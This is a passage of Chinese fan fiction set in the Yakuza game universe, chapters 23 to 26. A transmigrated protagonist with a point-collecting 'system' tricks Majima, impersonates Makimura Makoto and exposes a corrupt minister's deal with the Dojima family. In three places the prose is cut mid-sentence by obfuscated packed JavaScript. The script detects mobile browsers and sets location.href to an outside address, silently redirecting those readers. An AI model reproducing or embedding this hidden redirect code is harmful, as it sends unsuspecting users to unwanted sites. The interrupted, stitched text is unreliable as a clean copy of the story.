“真岛先生,想让人回答问题也要有求人的态度才行,你只要陪我待上一个小时,我就告诉你牧村实在哪里,至于其他的,要看真岛先生你的本事了。”清原站起身,自顾自走在前面,像是笃定真岛会跟上来。 真岛脸色僵硬,清原是个和自己表白过的同性恋,他想要做什么并不难猜,他在心里骂了句脏话,还是抬腿跟了上去。 23.第 23 章 清原下楼的时候踉跄了一下,及时抓住楼梯扶手才没摔下去。 “你受伤了吗?”真岛闻到一股血腥味,心下一紧,下意识要拉开清原的外套查看。 清原挥开真岛的手臂,似笑非笑地瞟他一眼:“少在大街上拉拉扯扯的,我又不能当街脱给你看。” 真岛暗自咬牙。都这么虚弱了还想着那档子事,自己真是多余关心这种人。 「虐心值又加了10点,伤成这样还跑过来刷虐心值,你这人可真有事业心。」系统感叹道,又说:「你悠着点儿,别真把自己搞死了,我可没有治疗功能。」 「知道了。」清原在脑海里回应它:「加虐心值的声音太吵了,你不用一直提醒我。」 清原停在对街一个小酒吧外面,门口挂着「暂停营业」的牌子,清原夏野轻车熟路地从门外的地毯下面翻出钥匙,开门走了进去。 他已经和这里的老板打了招呼,说一会有事要用到他的店,付钱清了场。 “来这种地方做什么?”真岛跟在他身后进来,打量着室内的环境。 “不然你以为我会带你去哪?Love Hotel?”清原反问,挑了一张自己喜欢的CD塞进机器,安全地带的《恋爱的预感》从CD机流淌出来。 真岛没理睬他的调笑,沉默着在吧台前落座。 “你喝一杯,我回答你一个问题。”清原把两个盛着冰球的杯子放在桌子上,从身后的架子上随便拿了瓶威士忌倒进去:“如果你问的问题碰巧是我不想回答的,我就自罚一杯,怎么样,是不是很公平?” 真岛脸色阴郁:“话虽这样说,但你想要撒谎的话我也没有办法吧。” “我保证如实回答,否则就让我不得好死、死无全尸。”清原夏野把其中一个杯子推到真岛面前:“你好啰嗦,再不开始提问的话我就走啦。” 真岛拿起自己面前的酒杯一饮而尽。 “第一个问题,你是什么人?你知道我问的是什么意思,不要想着糊弄过去,” “我是立华不动产的员工。” “你和牧村实是什么关系?” “立华不动产的社长——也就是我的上司,是牧村实的哥哥,至于我和她没有什么特别的关系。” “为什么想要得到牧村实?”这个问题真岛自己也能猜得出答案,无非是工作任务而已。 “牧村实因为「空白的一坪」陷进极道的争斗,社长想要保护妹妹,拜托我把牧村实带到东京。” “为什么今天要联系我?” “我特地来见你,以后恐怕没机会再见到了,我不想让自己留有任何遗憾。”清原不假思索地说。 真岛下意识抬头,想从那双眼睛里找出开玩笑的蛛丝马迹,却只看清了他眼中的真诚和热切,还是真岛先坚持不住,低下头避开他的视线。 “你不是为了牧村实才接近我的吗?” “一开始我确实怀着这样的想法,但后来和你相处,我无聊的人生增添了许多乐趣,因为遇到了你,我才不觉得在大阪的这些天难熬。”他把玩着酒杯,微微笑起来,琥珀色的波光在他眼波中翻腾:“这样温暖的感情大概就是喜欢吧,真岛先生,你是我第一个喜欢上的人呢。” 他说这话时流露出的天真情态不似作伪,真岛一时哑然。 这个人说,能够来到这里,能够遇见真岛,我想这就是我的命运。 同样也是这个人说,我早就知道岛野会派你去杀牧村实,也知道东城会和近江联合这些弯弯绕绕,我什么都知道。 “关于岛野派我去杀牧村实是看准了我不会动手,好让我接近她换取信任这件事,你也知道吗?”他问出这句话时尚且怀着一丝希望,只要清原不知道—— “当然知道。” 真岛那颗悬着的心随着话音落下,彻底沉到谷底。 这个人说着喜欢,却什么事情都瞒着他,眼睁睁看着那些人把他当狗耍。 不晓得在谋算什么的岛野老爹和佐川司,不知所踪的牧村实,还有清原夏野这个轻飘飘的人,他轻飘飘的喜欢。所有的这些一并涌上心头,他已经厌倦了耍手腕和被人耍手腕,觉得一切都无所谓了,与其被清原戏耍,连最后一点作为人的尊严都失去,不如就此彻底斩断这段关系,以后再也见不到这个人,也不必再为他心生动摇。 要是真能这样的话就再好不过了。 “清原,你至今以来的人生应该特别顺利吧。” “你说什么?” “你想必有一对宠你的父母,对你有求必应,家庭环境优渥,长得也很帅气,受同龄女生追捧着长大,厌倦了想要什么都能轻易到手的人生,所以才会觉得极道的世界很有意思?看我这样的大叔很新鲜?想要证明自己的魅力连男人都能轻易拿下?” “够了,真岛先生,不要试图猜测我,老老实实问你想问的问题就好。”清原出声打断,他脸上的笑意消失了。 “你知道什么是喜欢,什么是爱吗?爱是为别人着想——像你这样被人宠着长大的自私小孩是不会懂的吧。” “我、说、了,不要猜测我,”清原咬着牙,声音几乎是从牙缝里一个个字挤出来:“你才认识我几天?如此轻浮的对我整个人下定论,说得好像有多了解我一样。” 真岛反唇相讥:“那样的话,能对认识没几天的我示爱,你的喜欢看来也同样轻浮嘛。” 清原低头沉默。再抬头时,他面上愠怒的潮红退去,他直视着真岛,露出一个比哭还难看的笑容。 “我确实不知道什么是喜欢,什么是爱,爱是为了别人着想——到底该怎么做? 你可能说对了,我一直都是这样自私的人,真岛先生,我这人可真不讨人喜欢啊。”他仰起头,没有焦距的目光落在真岛头顶的吊灯上:“父母宠爱我、家庭幸福温馨、周围的人都喜欢我…要是我的人生要是真能像你说的那样,该有多好啊。” 真岛被他那张凄然的脸感染,他猜到清原会愤怒,但绝没料到是这种被刺痛的反应。他猛然想起在GRAND的时候,扮作陪酒女郎模样的清原有时会用视线去寻找自己,二人的眼神交汇之际,清原那双漂亮的眼睛里总会投射出雏鸟般依恋的目光。 从那个时候开始就已经发现了,清原他并不是那个时时都游刃有余的交际花「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663734|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小夏」,而是一个对周围的一切既热情又抗拒,恐惧又迷茫的孩子。 为什么自己要用成年人的道德标准要求他呢? 何必对他如此苛刻呢? 酒吧里的陈设在他眼前晃动,真岛才发现自己的整个脑子几乎被酒精泡透了,用力拍了拍脸颊,动作间,手边几个喝空的烈酒瓶扫落在地。 “你要去哪里?”模糊中看到清原夏野起身拿上外套,真岛下意识地问。 清原夏野扫了一眼酒吧墙上的挂钟:“快到时间了,你还可以问最后一个问题,你确定要问这个?你还没问我牧村实在哪。” 真岛发出一些含糊的嘟囔声,清原穿好外衣再回头,真岛已经趴在吧台上睡着了。 * 吧台另一头的电话催命似地响,真岛揉了揉眼睛,扶着吧台站起来,走到电话旁边拿起听筒。 “是我,清原。” “你怎么先走了?”真岛不知道自己睡了多久,这会儿几乎是醒酒了,除了脑子仍然有点犯晕,理智已彻底回笼。 “我看你睡得那样香,就没有叫你。”清原说:“我还欠你一个问题,我还没告诉你牧村实在哪里。” 他的声音低得一阵风就能吹散,真岛攥紧了话筒,隐隐感到不安。 “你现在在哪里?” “你想问牧村实在哪里,还是我在哪里?” 初雪轻飘飘地降临神室町的街道,清原后背抵在电话亭的玻璃内壁上,试图用玻璃传来的凉意冷却灼痛的伤处。「痛觉屏蔽」在连续使用三小时后需要一个小时冷却,在那之后才能接着用,清原夏野刚从系统那里听到解释时几乎气死,但也只能老老实实忍耐这一个小时。 电话那头许久没有动静,清原夏野不假思索地把衣袖塞进嘴里面狠狠咬住,挺过一阵几乎把人撕裂的剧痛后彻底失去了耐心,正当他想要挂断电话时,话筒里突兀传来声音。 “你在哪里?” “你确定吗?就算你找到我,我也不会告诉你牧村实的下落的,你只有这一次机会哦,要不要…” “你到底在哪里。”真岛又重复了一遍,语调中透着豁出一切的决意。 鲜血伴随着疼痛缓缓滴落,清原夏野闭了闭眼睛,用平常说话的声音说:“我在剧院前广场。” “你不要动,在那里等着我。”真岛只说了这一句便匆匆挂断了电话。 清原又在电话亭里站了一会,慢慢地推开门走了出去。 可惜了,要是他说得动骚话的话,还真想调戏真岛几句,像是「你该不会喜欢上我了吧」这种话,那家伙听了表情大概会很精彩。 「无论真岛选哪一个,你都只会告诉他牧村实的位置。」系统在他脑海里幽幽地说:「但是他明明已经选了作为“清原夏野”的你啊,为什么还要这样做,是为了报复真岛吗?因为他说了揭你伤疤的话?」 「当然是为了彻底支开真岛,不让他被卷进来,我一个人就能解决这件事,要他来做什么。」清原疑惑道:「真岛自己也说了,爱一个人是做为了他好的事,我把他送到喜欢的人身边,我对他这么好,他难道不该开心吗?”」 24.第 24 章 清原来到约定的地点时,路边已经停了一排黑色奔驰车,胸前佩戴东城会徽章的男人们三三两两靠在车边闲聊,路人纷纷绕着走,生怕招惹上这群恶徒。 就在十五分钟前,清原自己简单处理了枪伤,去成衣店买了身女装,换掉身上的血衣,用香水掩盖住呛鼻的血腥味,又假装牧村实给涩泽组的事务所打去了电话,说要把「空白的一坪」出手。 红色长大衣、黑色连衣裙,他像只蝴蝶一样飘忽地走向中间那辆车。从他现身的那一刻起,车边那些男人的目光全部黏在他身上,交头接耳切切低语。 “是最近当红的明星吗?” “该不会是涩泽头儿的马子吧。” 车门打开,涩泽启司坐在后座靠里侧的位置,敞开的衬衫领口里依稀露出绷带的一角,看样子是得到消息后从医院赶来的,「空白的一坪」事关堂岛组若头的位子,他势必会亲自出面。 “让她过来。” 清原在涩泽身边坐下来,即将得偿所愿的春风得意也没能盖过涩泽灰败的脸色,看到他这幅模样,清原感到些许快慰。 堂岛组三个若头辅佐各有各的烂法,涩泽看上去温文儒雅,实际上更是阴的一批,清原开枪时虽没想着要他的命,却也不想让他太好过。 “牧村小姐,你准备把「空白的一坪」出手给我们?” “没错,我要和堂岛组长当面谈。” 涩泽没有露出意外之色,只是略微颔首,说了句:“我知道了。” 这支黑压压的车队向前驶去,虽同坐一辆车,涩泽和清原都不开口交流,车内的空气像是暴风雨将至般阴沉滞闷。 “小姐,你的眼睛已经治好了吗?”还是涩泽先挑起话题。 这个价值十亿的女人、直接关系到他若头之位的女人、一次次从他手中逃掉的女人——她是怎么逃离他的包围网来到东京的,他直到现在都一无所知。 此刻她就坐在他的身边,还长着那样的面孔,望着就令人心旷神怡。 “是啊。”清原简单应了一句。这次孤身深入虎穴危机重重,继续当瞎子只会增加难度系数,他索性不装了,连盲杖也没带。 “你怎么想到联系我卖地?” “腻了,想要结束这一切。你不是一直在抓我吗,现在我自己送上门了。” “小姐,我只想要和你谈交易而已,没有伤害你的意思。” “是么?你看起来不像不杀女人的那种人。”挑衅的声音,涩泽闭了闭眼。 清原撑着头望着窗外,神色恹恹。 真是奇怪,这样的表情出现在他脸上时居然也显得分外惑人。 涩泽心中一动,抽出一张名片递过去:“以后要是没有去处的话,可以打这个电话找我。” 递出名片的手悬在半空,清原瞥了一眼却没有接过:“找你做什么,做你马子?才不要。” 是人都想走捷径不假,可他也不愿委屈了自己。世上有的是漂亮活泼的年轻人,至于三四十岁的人,清原总觉得他们不够坦诚,他自己心怀鬼胎就足够了,两个人各怀鬼胎岂不糟糕?要他屈就年龄比自己大一轮的同性,实在是匪夷所思。 他拒绝得太过直白,涩泽挑了挑眉,把名片塞进自己胸前的口袋。无论是若头的位置还是看上的女人,他都会一一收入囊中,他和那些没脑子的极道不一样,他有的是耐心。 身为堂岛宗兵的手下,他极为了解自己组长的为人。堂岛不会任由牧村实带着十亿离开,直接把人做掉既能省下钱,又能免除后续的麻烦。到那时候,不怕这女人不向自己乞怜。 塞巴斯汀大楼灯火通明,楼下停靠着一排黑色轿车,装潢豪华的入口处,站着几个警惕的西装男子。 涩泽带着清原走进大楼,头顶依稀传来直升机螺旋桨的轰鸣,他们乘坐电梯上到二楼,踏上二层的露天平台,便看到一个皮肤黝黑的小个子男人从直升机上走下来,正是堂岛组组长——堂岛宗兵。 “老大,我把牧村实带来了。”涩泽上前汇报。 堂岛宗兵在长桌前落座,声音低沉:“干得好,涩泽,这么一来,下一任若头人选就尘埃落定了。” “都是多亏了大哥们的帮忙,接下来也需要二位继续为堂岛组尽心尽力。”涩泽摆出谦逊的姿态,朝着堂岛组长身后的阿波野和久濑略微欠了欠身。 阿波野握紧了拳头,久濑偏过头不看他,涩泽把他们强自忍耐的样子看在眼里,心里更是爽快,面上却不显。 “牧村实小姐,听说你想找我谈谈「空白的一坪」。”堂岛宗兵粘稠的目光落在清原身上,嘴角挂着色迷迷的笑容,清原看了直倒胃口。 “没错,我准备把那块地出手给您。” “那是令祖父留给你的地,别这么轻易放手。” 清原顺着他的话胡诌:“是啊,这块地是我祖父留给我的,是亲情的证明,珍贵无比。” “正是如此。” “对于这块寄托着祖父亲情的土地,仅仅十亿远远不够,堂岛组长,我要五十亿。” 堂岛宗兵震惊地盯着他,像是看到什么怪物一样,清原也回盯着他,像是在挑衅,也像是面无表情。 “哎呀呀,这可真是…”堂岛宗兵咂舌,一双鼠目散发着狡诈的光芒:“小姐你一下子要价五十亿,未免也太贪心了,那块地可不值那么多钱啊。” 清原微笑道:“据我所知那块地的价值足有一百亿,五十亿仅仅是一半而已,堂岛组长该不会舍不得吧。” “你想敲诈我?”堂岛的眼闪出了凶光:“我想你是高估那块地的价值了吧,那一坪土地是在周围收购得差不多时偶然发现的一块地,市街的中心有那种畸零地存在,就连公家机关也没有察觉,只要请他们继续假装不知道这件事,都更计划我还是可以照推不误…” 但等到都更计划正式动工以后,要是这个女人跳出来声称握有这块土地的继承权,把他们告上法院那就麻烦了,有可能导致整个都更计划一笔勾销,最简单的办法,就是把拥有这块土地继承权的人干掉。 “那样的话,堂岛组长你能得到多少钱呢?一百亿最多了吧?”清原打断他的恫吓,眼中闪过冷静的光芒:“我想说的是,您不如借这个机会联系公家机关,就说找到这块地的继承人了,毕竟不是从自己口袋里掏钱,只要你提前打点好,他们一准会爽快拿出钱来买地。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715514|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂岛宗兵低头佯作喝茶,心里思考片刻。这主意不坏,一百亿完全有可能变成两百亿——只要这女人好好配合。 他想要成为东城会三代目会长,就要给东城会本家送上巨额的上缴金,更何况堂岛组的手下现在多到离谱,要养这么多人,再多钱也不嫌多。 “真是够胆,”眯缝着眼睛,堂岛开口说道,他自以为掌握了清原的企图,不过是高估了这块地的重要性,想从他这里要到更多钱罢了,也不看自己有没有命受用。 他挥手把涩泽叫过去,在他耳边低声说;“去联系柳生大臣,就说我们找到「空白的一坪」的所有者了,对方狮子大开口要价两百亿。” 他要说服国土厅长官加钱,然后杀了这女人,独吞这两百亿。 清原辨认出他的口型,心中暗笑,堂岛宗兵果然和他想的一样贪心。 几分钟后,涩泽匆匆从房间里走出来,他对堂岛说道:“柳生大臣说要和您见一面,让您带着牧村实到老地方赴约。” “行吧,涩泽,你跟我们一起去。”堂岛说着上了直升机,涩泽转身面向清原。 “那就请吧,牧村小姐。” 清原站起来,沐浴着堂岛组的流氓们狎狔轻视的目光,头也不回地走上了直升机的舷梯。 走上极道之人不会有好结果——这是如龙宇宙的法则,从踏入这个世界的那一天起就注定了,选择走极道之路的自己也不会有好结果可言。从现在起,他要按照自己的意愿去行动,这世上没有任何值得他恐惧的事物。 哪怕没有一条通往美好未来的路,他也要自己开辟一条新路出来, * 神室町的道路上十分拥堵,车龙阻塞在黑暗里动弹不得,真岛扔下车费下了出租车,朝着剧院前广场的方向奔跑,不断有雪片落在他脸上,冷空气随着呼吸涌入胸腔。 这一路上他已经想明白,清原要自己在他和牧村实之间做出选择,无非是不想让他找到牧村实回到东城会。一旦他回到那条路上,就会因不愿连累到清原和他断绝往来,二人在大阪相处的日常都将成为无法继续的旧梦。 现在就算清原要他金盆洗手退出东城会,继续和他一起过普通百姓的生活,他也认了。 盯着电梯显示屏上的数字不断跳动,真岛的思绪逐渐飘远。 清原那对精英父母肯定没法接受儿子喜欢男人这件事,与其和父母闹得不愉快,不如搬出来和自己一起住,他手上的积蓄已足够在东大附近买一处家具齐全的高档公寓,到时自己找份夜店经理的工作,攒下钱之后再做点什么生意,总之不能让清原跟着自己反倒比在家时过得要差。 升降梯来到最顶层,真岛捏着写有清原留给他房间号的字条,敲了敲房门。过了一会儿,门被打开了,前来应门的是一个二十岁左右的年轻女人。 “清原夏野在这里吗?” 女人摇了摇头:“清原先生不在,两个小时之前他给我来电话,让我到这里等一个名叫真岛吾朗的人。” 真岛紧紧地盯着女人没有焦距的眼睛还有手中的盲杖,一个可怕的猜想涌上他心头。 “你…是谁?” “我叫牧村实。” 25.第 25 章 直升机降落在一幢大楼楼顶,清原跟在涩泽身后走下来,一脚没入厚厚的积雪里。 他环顾四周,认出这里是港区正在建设中的购物中心,55层的露天观景台外围护栏还没有装好,半月前就有一人从这里摔下去,警署认定是自杀。 堂岛组和柳生大臣倒是选了一个灭口的好地方。 没过多久,柳生大臣就现身了。他是一个削瘦的中年人,脚步轻捷,眼神中透着显而易见的不耐烦。 “就是你让我们拿二百亿和你买地吗?”他轻蔑地打量着清原:“你一个女人,哪里用得到那么多钱?” “你一个公职人员,何必要和暴力团搅合在一起?”清原夏野冷笑,呛声道:“我和堂岛组长要的是五十亿,至于多出的一百五十亿,你不如问问堂岛组长准备做何用处?” 柳生半晌不语,堂岛宗兵早料到自己的说辞会被戳破,不慌不忙地说:“我准备拿出五十亿,已几个子公司的名义捐给您领导的支部。” 他谈及这些阴私完全不避忌清原,已经当他是个死人。 柳生听了思忖片刻,脸上露出满意之色:“那就按你说的办吧,你们做事我一向放心。”他冰冷至极的目光凝视着清原,话锋一转:“堂岛组长,你怎么能让这样一个小女孩骑在头上撒野呢,这么一来很快全神室町的人都要瞧不起堂岛组了。他们这种人压根不知道满足是什么,饿着肚子的时候问你要饭吃,一旦你给了饭,又会问你要甜点。” 堂岛宗兵眯起眼。 在塞巴斯汀大楼时,他就动过直接处理掉牧村实的念头,但他还是遏制住了杀意,把这女人留到了现在,为的就是在柳生面前杀掉她,「牧村实」的死会把这个国土厅大臣和堂岛组牢牢绑在一条船上。 他转向涩泽,用眼神示意他动手。 涩泽启司没有立刻行动:“老大,我以为先得从她口中问出立华铁的下落才行,否则这女人一死,「空白的一坪」的所属权就会落到立华手上,到时候我们恐怕被动。” 他说这话时神态坦然,堂岛一想也确实有道理,对着清原威胁道:“你快做出决定,到底是告诉我立华铁在哪里还是死在这儿,只要你告诉我,我保证马上放你走。” 清原的肩膀颤抖,像是才意识到自己面对的是杀人不眨眼的极道,声音也抖得不成样子:“不久前…这里掉下去摔死的那个人…也是你们做的吗?” 堂岛宗兵欣赏着他脸上惊惧的表情:“没错,他和小姐你犯了一样的错误,手里捏着一块破地皮就以为能随便和我讲条件,实在是蠢过头了。” 清原似是被吓懵了,接连往后退了几步,几乎踩上了大楼边缘。 “我不知道,我根本没见过你说的这个立华。” “怎么可能,那家伙可是你亲哥。” “你搞错了,我没有哥哥。”清原坚持道,堂岛眼中闪过一道疑惑的光,正要追问,只见眼前的「少女」露出恶作剧得逞的笑容。 “堂岛组长,我有说过我是牧村实吗?” * 几道腥温的液体顺着拳头流到手腕,染污了衬衫袖口。 真岛随手把血抹在墙布上,抬脚继续上楼。 在他身后,堂岛组的打手横七竖八地躺了一地,他只身从塞巴斯汀大楼的一楼一层层打上来,这些人根本挡不住他。 为什么要到他的店里打工,为什么要假扮牧村实,为什么要把他支走自己来送死。 不明白的事情实在太多了,但如果能再见到那个人,他可以什么都不问。 再往上走就是天台,清原一定就在那里。真岛机械地挥动着拳头,把冲过来的两个堂岛组打手捣进墙里。 就在即将挥出下一拳的间隙,他听到了清原的声音——似乎离他很近很近,几乎就在头顶。 真岛下意识望过去,头顶的架子上放着一台电视机,声音就是从那里面传出的。 不是监控,而是新闻的现场直播。 大厦的天台上,站着堂岛、涩泽还有一个没见过的男人,摄像机安放的位置十分巧妙,恰好把他们的脸清清楚楚收进镜头,他们对面还有一个人,摄像机只拍到那人的背影,但仅仅一个背影真岛就能认得出。 是清原夏野。 他站在风中,脚尖踩在天台边缘,飞雪托起他红色大衣的下摆,似是随时会飞起来。 不,无声的呐喊,却无法传到屏幕的那一头。 ——涩泽启司掏出手枪扣动扳机,清原应声向后倒去,跌进东京闪闪发亮的夜色里。 被捶进墙里的堂岛组打手惊愕地看到把他们打得半死的独眼男人扑向电视,像是这样就能够捞住下坠的那个身影一样。 “近期,国土厅长官柳生诚司陷入政治献金丑闻,其与关东地区暴力团东城会之间的非法交易被全国直播,当时在场的一名男子高校生遭到东城会成员枪击,坠楼身亡。据悉,柳生诚司所属政治团体多次接受一家由东城会成员经营企业的大额资金捐赠,柳生目前已引咎辞职,因涉嫌杀人罪与堂岛宗兵、涩泽启司等多名东城会成员被东京警视厅逮捕。这一事件引起民众强烈不满,舆论质疑政治人物与暴力团体之间的利益输送…” 一只修长的手合上窗子。 “河上风大,栉川大臣现在正是上升的关键时期,要保重身体啊。” 栉川登转过头,对上面前笑意盈盈的一双眼,一时失神。 几天前他去大阪出差,被当地的官员拉去「GRAND」体验夜生活,见到了用“小夏”这个名字在那里工作的清原夏野,他被集清纯与魔魅于一身的「少女」深深吸引,以至于知道这个第一红牌的真实性别后还很是惋惜了一会。 倘若清原夏野是女人,他一定会包养对方做情人。 “还是清原小哥想得周到。”立华铁对面的中年人夹起纸锅里的河豚肉,送进嘴里细细咀嚼一番,点评道:“滋味不错,环境也不错,你们有心了。” 清原夏野谦逊地笑了笑,也说了些场面话,举杯向他敬酒。 宴请的对象是法务大臣和警察厅长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750054|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官,既要吃得雅致也要吃得安心,他特意在东京湾包下一条屋形船,留在船上的厨师和侍者都是不会说也听不懂日语的外国人,就算他们在河上说了什么话,也不会传到岸上去。 “犬子在内阁一直被柳生那家伙压了一头,你们这次是帮我了却了一桩心事。”觥筹交错间,栉川勇人醉醺醺地压低声音说道:“像他这样收钱办事的家伙不在少数,但柳生胃口太大、所图太多,还仗着堂岛组的声势威胁同僚,实在不懂规矩。” 清原夏野了然,被柳生威胁的「同僚」里必定有栉川登一个,所以当他找到栉川父子商量扳倒柳生的事,对方爽快地提供了不少助力,不管是出动警用无人机拍摄,还是电视台临时插播新闻,堪称有求必应。 “若不是您帮忙,我们也没法顺利把他们之间的交易披露给公众。” “你是怎么逃生的?”栉川登问,听上去十分好奇。 “我们提前在天台楼顶安装了弹力绳,在等柳生来的时候,我把弹力绳系在腰上,跳下去之后,我荡进开着的窗户,立刻把提前准备好的尸体扔下去。” “真的假的,清原小哥够有胆色!” 栉川勇人赞叹道。 当然是假的。 清原提前和系统讲好,下坠到一半的时候系统把他传送走,被摔烂的是系统提前准备的替身假人。 栉川登对清原夏野说:“我上任国土厅长官之后,会把「神室町都更计划」交给你们公司负责,我给你们一个优厚的价格,只会比柳生之前和东城会谈妥的价格要高。” “既然顶着公家的名头做事,之前的作风也要改一改啊。”栉川勇人和颜悦色地提醒,他一向看重稳妥,清原以身入局,帮他们除掉了碍眼的柳生,证明了他可以信任。至于立华不动产本身是灰产公司这种事,他就算知道也根本不在乎。 “您说的是。”清原附和着微笑:“我们会更加仔细,不会辜负您的信任。” 栉川父子吃过饭先一步离开,清原没有和他们一起离开,他把客舱的窗子推开,点起一支烟。 他并不喜欢这样的场合,不过是出于利益需要,不得不和老狐狸周旋。 一件厚重西装落在他肩上。 清原回头,立华铁站在他身后,一贯温和的脸染上薄怒。 “还没有治好伤就从密医那里跑出来,你完全不把自己的身体当回事吗。” 清原从「瑟蕾娜」离开后,立华等人四处寻找他的踪迹,找了整晚都未找见。凌晨时,清原夏野出现在「瑟蕾娜」门外,只丢下一句“不要送我去医院”就倒在他们面前。涩泽开的那一枪打中了他右肩下方,亚细亚街的密医抢救后才脱离危险。 清原整整昏迷了两天,今天上午才醒转,傍晚又借口去卫生间跑了出来,立华按照他留下的字条赶到了这里,忍着担忧,陪着他一起应酬。 “就当是我为了钱不要命了吧。”清原叹了口气,纸糊灯笼在他的头顶闪烁着空虚的光芒:“我醒来之后还没见过实小姐,她怎么样了?” 26.第 26 章 “筱乔要做眼部手术了,医生说,有百分之九十的概率能复明。对了,筱乔是小实的中国名字。” “真好啊。”清原发自内心地感慨。 “桐生先生和尾田先生从大阪回来了。尾田和我承认了他把筱乔卖给韩国组织的事,筱乔请我留下尾田先生,她说尾田一身伤回来,算是为他的所作所为赎罪了,想要给他一个改过的机会。” 清原对这样的结果并不意外,立华兄妹都是用爱包容万物之人,俗称烂好人。他嘴角抽了抽,没有说尾田肚子上的伤是他捅的,手臂上的刺青也是他割掉的。 “一切都是我害的…”立华喃喃自语。 “不要自责,你只是选择了你的路而已。” 立华摇了摇头:“有着日本人血统的我,在中国被称为“日本鬼子”,这样的称呼正代表对日本人的憎恶,我总是害怕随时会杀了我的人们,所以自己逃了出来,把母亲和妹妹舍弃在那里。之后,在中国被当作日本人藐视的我,来到日本之后却又被称为中国人。十年前,我没有对抗自己的命运,就只是逃走而已,因此害得母亲和妹妹的人生被打乱,后来尾田先生也被牵连进来,再后来…连你也差点被害死…全都是我的错。” 清原注视着一点闪光划过立华铁的脸颊,不知是河水的涟漪还是他眼角的泪水,他心下一动——原来不是只有我自己坠入深渊、无所适从。 “都过去了。”他不知道怎么安慰立华,就像不知如何安慰将踏入极道的世界、心中惶然的自己,只能反覆说一些没什么新意的话:“以后会越来越好的。” “况且,我不会被谁害死,不要说这种话来否定我,”清原说着,攥紧手里的茶杯:“这是我的选择,就算是因此而死,我也心甘情愿。” 更何况现在是我赢了,我才是这场游戏的胜者。他在心里默默补充。 “我不会否定你,”立华铁深深地望着他,清原发觉他竟有着一双羚羊一样温顺又通透的眼睛:“你来到事务所的那一天,我以为你只是一个有点小聪明的少年而已,后来才发现你比我们所有人都要勇敢果断,如果没有你舍命相救,恐怕我已经不在人世了吧,你救了筱乔,也救了我,多谢你。” 在没有自己干预的原剧情里,立华的确是死得很惨,清原坦然受了他的谢。 立华铁继续说:“这几天之内我就会把公司转到你的名下,尾田先生和我说,他想跟着你。” 清原想都没想就拒绝:“算了吧,我和他不对付。” “等筱乔的手术结束之后,我也会去做换肾手术,尾田熟悉各种业务,作为保镖也颇为能干,在我们这里算是打架的一把好手了,有他保护你我也放心。” “他之前得罪过我,你不怕我再收拾他?”清原诧异道:“尾田没说他身上的伤是怎么搞的?” “我问了,尾田说那全都是涩泽组的人干的。他说在大阪时是你救了他的命,他发誓要报答你。” “报答我?他不想着要我的命就已经很好了。” “就算他有这样的想法,你会让他得逞吗?” “那倒是。”清原夏野露出了微笑,立华铁知道他这是答应了。 “对了,把公司转到我名下的事还是暂缓吧。” “请不要推辞,我是真心把公司托付给你。” “我并不是推辞,堂岛组这次吃了这么大的瘪,要是知道我还活着一定会疯狂追杀我,我身边的人也少不了被连累,在我获得足以与堂岛组抗衡的力量前,只有让「清原夏野」这个名字暂时在世上消失了。” 他态度之坚定无可转圜,立华凝视着他决绝的侧脸,心脏感到一阵刺痛,说不清是同情还是痛心。 「系统,帮我看看现在有多少虐心值了。」之前清原嫌弃系统播报虐心值太吵让它不再提醒。 「让我看看,真岛吾朗166点,立华铁30点,尾田纯15点,桐生一马3点,这些加起来是214,扣除宿主兑换一次「痛觉屏蔽」的10点,宿主现在一共有204个虐心值。」 清原一怔:「真岛这边的虐心值怎么这么多。」 「那是当然,你穿越到这个世界以来,和真岛接触的时间是最多的,而且真岛是这个游戏里的主角之一,他的感情波动兑换成虐心值也要更多。」 「你说过攻略对象对我的厌恶程度也会算进虐心值,对吧。」 在得到系统肯定的答复之后,清原又拈出一根烟点上,香烟的一头猛地亮了起来,那点红光在风里跳动了一下,顽强地挺住了。 河上的风说大不大,连他手上的烟都吹不灭,却足以把他那一点不切实际的念想吹熄。 「那他一定是恨透了我。」他为了虐心值接近真岛,不停地欺骗戏耍,对于真岛来说,自己这种烂人大概直接死了比较好吧。 系统惊讶:「你不去找真岛了?你之前不还说在拿到足够的虐心值之前不会放过他吗。」 「我后悔了,就算是薅羊毛也不能逮着一只羊薅。」清原吞下心里的起伏,低头抖了抖烟灰:「如果以后遇到,我会和他解释清楚。」 经此一遭,东城会的高层对「清原夏野」此人心存忌惮,清原自己也不准备加入东城会。既然不能同路,也没有见面的必要了。如果自己不再出现,真岛的生活想必也会回到正轨。 遗憾和惆怅就到此为止吧。 清原闭上眼睛,面朝着灯火辉煌的华丽都市张开手臂,想象这个城市已被他握在手心,无论如何,绝不退缩。 